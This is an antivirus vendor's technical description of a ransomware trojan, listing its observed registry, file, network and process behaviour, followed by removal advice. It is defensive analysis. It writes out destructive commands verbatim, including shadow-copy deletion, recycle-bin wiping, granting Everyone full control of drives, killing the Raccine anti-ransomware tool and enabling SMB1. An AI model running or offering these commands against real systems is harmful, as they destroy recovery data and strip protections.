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Trojan.Encoder.34000
Added to the Dr.Web virus database:
2021-06-06
Virus description added:
2021-06-08
Technical Information
To ensure autorun and distribution
Sets the following service settings
[<HKLM>\System\CurrentControlSet\Services\Dnscache] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\fdPHost] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\SSDPSRV] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\upnphost] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\FDResPub] 'Start' = '00000002'
Creates the following files on removable media
<Drive name for removable media>:\delete.avi.reddot
<Drive name for removable media>:\how_to_restore_my_files.txt
<Drive name for removable media>:\000814251_video_01.avi.reddot
<Drive name for removable media>:\correct.avi.reddot
<Drive name for removable media>:\join.avi.reddot
<Drive name for removable media>:\dashborder_120.bmp.reddot
<Drive name for removable media>:\tileimage.bmp.reddot
<Drive name for removable media>:\dial.bmp.reddot
<Drive name for removable media>:\dashborder_192.bmp.reddot
Malicious functions
Executes the following
'<SYSTEM32>\taskkill.exe' /F /IM Raccine.exe
'<SYSTEM32>\taskkill.exe' /F /IM RaccineSettings.exe
'<SYSTEM32>\netsh.exe' advfirewall firewall set rule group="Network Discovery" new enable=Yes
'<SYSTEM32>\netsh.exe' advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
Disables AMSI.
Modifies file system
Creates the following files
Deletes the following files
%TEMP%\rese5fb.tmp
%TEMP%\csc911cbf777c34d928b4a65f67f71fe55.tmp
%TEMP%\0x4fdbl0.out
%TEMP%\0x4fdbl0.0.cs
%TEMP%\0x4fdbl0.dll
%TEMP%\0x4fdbl0.cmdline
Deletes itself.
Changes user data files extensions (Trojan.Encoder).
Network activity
Connects to
'<LOCALNET>.78.19':445
'<LOCALNET>.78.1':445
'<LOCALNET>.78.1':139
'<LOCALNET>.78.1':80
'21#.#64.207.9':80
TCP
Other
'<LOCALNET>.78.19':445
'<LOCALNET>.78.19':49173
UDP
'localhost':62376
'localhost':62373
Miscellaneous
Searches for the following windows
ClassName: '' WindowName: ''
Creates and executes the following
'<SYSTEM32>\net.exe' session' (with hidden window)
'<SYSTEM32>\sc.exe' config FDResPub start= auto' (with hidden window)
'<SYSTEM32>\netsh.exe' advfirewall firewall set rule group="Network Discovery" new enable=Yes' (with hidden window)
'<SYSTEM32>\netsh.exe' advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol' (with hidden window)
'<SYSTEM32>\mountvol.exe' B: \\?\Volume{c84d25cc-f368-11e4-889d-806e6f6e6963}\' (with hidden window)
'<SYSTEM32>\mountvol.exe' G: \\?\Volume{81683e85-9377-11eb-9f02-806e6f6e6963}\' (with hidden window)
'<SYSTEM32>\mountvol.exe' H: \\?\Volume{c84d25cd-f368-11e4-889d-806e6f6e6963}\' (with hidden window)
'<SYSTEM32>\mountvol.exe' I: \\?\Volume{600ba660-c712-11e6-a54f-080027cffa47}\' (with hidden window)
'<SYSTEM32>\mountvol.exe' J: \\?\Volume{fe3a3215-337f-11e6-9eec-806e6f6e6963}\' (with hidden window)
'<SYSTEM32>\mountvol.exe' K: \\?\Volume{14a83a59-f375-11e4-92d6-806e6f6e6963}\' (with hidden window)
'<SYSTEM32>\icacls.exe' "C:*" /grant Everyone:F /T /C /Q' (with hidden window)
'<SYSTEM32>\icacls.exe' "D:*" /grant Everyone:F /T /C /Q' (with hidden window)
'<SYSTEM32>\icacls.exe' "Z:*" /grant Everyone:F /T /C /Q' (with hidden window)
'<SYSTEM32>\net.exe' use \\10.0.78.19' (with hidden window)
'<SYSTEM32>\net.exe' use \\10.0.78.1' (with hidden window)
'<SYSTEM32>\sc.exe' config upnphost start= auto' (with hidden window)
'<SYSTEM32>\net.exe' use "\\qepnhecxthbd\D$"' (with hidden window)
'<SYSTEM32>\sc.exe' config SSDPSRV start= auto' (with hidden window)
'<SYSTEM32>\sc.exe' config Dnscache start= auto' (with hidden window)
'<SYSTEM32>\wscript.exe' <PATH_SAMPLE>.js' (with hidden window)
'<SYSTEM32>\cscript.exe' -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58} <PATH_SAMPLE>.js' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\0x4fdbl0.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE5FB.tmp" "%TEMP%\CSC911CBF777C34D928B4A65F67F71FE55.TMP"' (with hidden window)
'<SYSTEM32>\taskkill.exe' /F /IM Raccine.exe' (with hidden window)
'<SYSTEM32>\taskkill.exe' /F /IM RaccineSettings.exe' (with hidden window)
'<SYSTEM32>\schtasks.exe' /DELETE /TN "Raccine Rules Updater" /F' (with hidden window)
'<SYSTEM32>\sc.exe' config SQLTELEMETRY start= disabled' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-CimInstance Win32_ShadowCopy | Remove-CimInstance' (with hidden window)
'<SYSTEM32>\sc.exe' config SQLTELEMETRY$ECWDB2 start= disabled' (with hidden window)
'<SYSTEM32>\sc.exe' config SQLWriter start= disabled' (with hidden window)
'<SYSTEM32>\sc.exe' config SstpSvc start= disabled' (with hidden window)
'<SYSTEM32>\sc.exe' config MBAMService start= disabled' (with hidden window)
'<SYSTEM32>\cmd.exe' /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin' (with hidden window)
'<SYSTEM32>\cmd.exe' /c rd /s /q D:\\$Recycle.bin' (with hidden window)
'<SYSTEM32>\sc.exe' config fdPHost start= auto' (with hidden window)
'<SYSTEM32>\net.exe' use "\\qepnhecxthbd\Users"' (with hidden window)
Executes the following
'<SYSTEM32>\net.exe' session
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
'<SYSTEM32>\mountvol.exe'
'<SYSTEM32>\mountvol.exe' B: \\?\Volume{c84d25cc-f368-11e4-889d-806e6f6e6963}\
'<SYSTEM32>\mountvol.exe' G: \\?\Volume{81683e85-9377-11eb-9f02-806e6f6e6963}\
'<SYSTEM32>\mountvol.exe' H: \\?\Volume{c84d25cd-f368-11e4-889d-806e6f6e6963}\
'<SYSTEM32>\mountvol.exe' I: \\?\Volume{600ba660-c712-11e6-a54f-080027cffa47}\
'<SYSTEM32>\mountvol.exe' J: \\?\Volume{fe3a3215-337f-11e6-9eec-806e6f6e6963}\
'<SYSTEM32>\mountvol.exe' K: \\?\Volume{14a83a59-f375-11e4-92d6-806e6f6e6963}\
'<SYSTEM32>\icacls.exe' "C:*" /grant Everyone:F /T /C /Q
'<SYSTEM32>\icacls.exe' "D:*" /grant Everyone:F /T /C /Q
'<SYSTEM32>\icacls.exe' "Z:*" /grant Everyone:F /T /C /Q
'<SYSTEM32>\arp.exe' -a
'<SYSTEM32>\net.exe' view
'<SYSTEM32>\net.exe' use \\10.0.78.19
'<SYSTEM32>\net.exe' use \\10.0.78.1
'<SYSTEM32>\sc.exe' config FDResPub start= auto
'<SYSTEM32>\net.exe' use "\\qepnhecxthbd\D$"
'<SYSTEM32>\sc.exe' config upnphost start= auto
'<SYSTEM32>\sc.exe' config fdPHost start= auto
'<SYSTEM32>\net1.exe' session
'<SYSTEM32>\wscript.exe' <PATH_SAMPLE>.js
'<SYSTEM32>\cscript.exe' -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58} <PATH_SAMPLE>.js
'%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\0x4fdbl0.cmdline"
'%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE5FB.tmp" "%TEMP%\CSC911CBF777C34D928B4A65F67F71FE55.TMP"
'<SYSTEM32>\schtasks.exe' /DELETE /TN "Raccine Rules Updater" /F
'<SYSTEM32>\sc.exe' config SQLTELEMETRY start= disabled
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-CimInstance Win32_ShadowCopy | Remove-CimInstance
'<SYSTEM32>\sc.exe' config SQLTELEMETRY$ECWDB2 start= disabled
'<SYSTEM32>\sc.exe' config SQLWriter start= disabled
'<SYSTEM32>\sc.exe' config SstpSvc start= disabled
'<SYSTEM32>\sc.exe' config MBAMService start= disabled
'<SYSTEM32>\cmd.exe' /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
'<SYSTEM32>\cmd.exe' /c rd /s /q D:\\$Recycle.bin
'<SYSTEM32>\sc.exe' config Dnscache start= auto
'<SYSTEM32>\sc.exe' config SSDPSRV start= auto
'<SYSTEM32>\net.exe' use "\\qepnhecxthbd\Users"
Curing recommendations
Windows
macOS
Linux
Android
If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space .
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.
If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
Switch off your device and turn it on as normal.
Find out more about Dr.Web for Android
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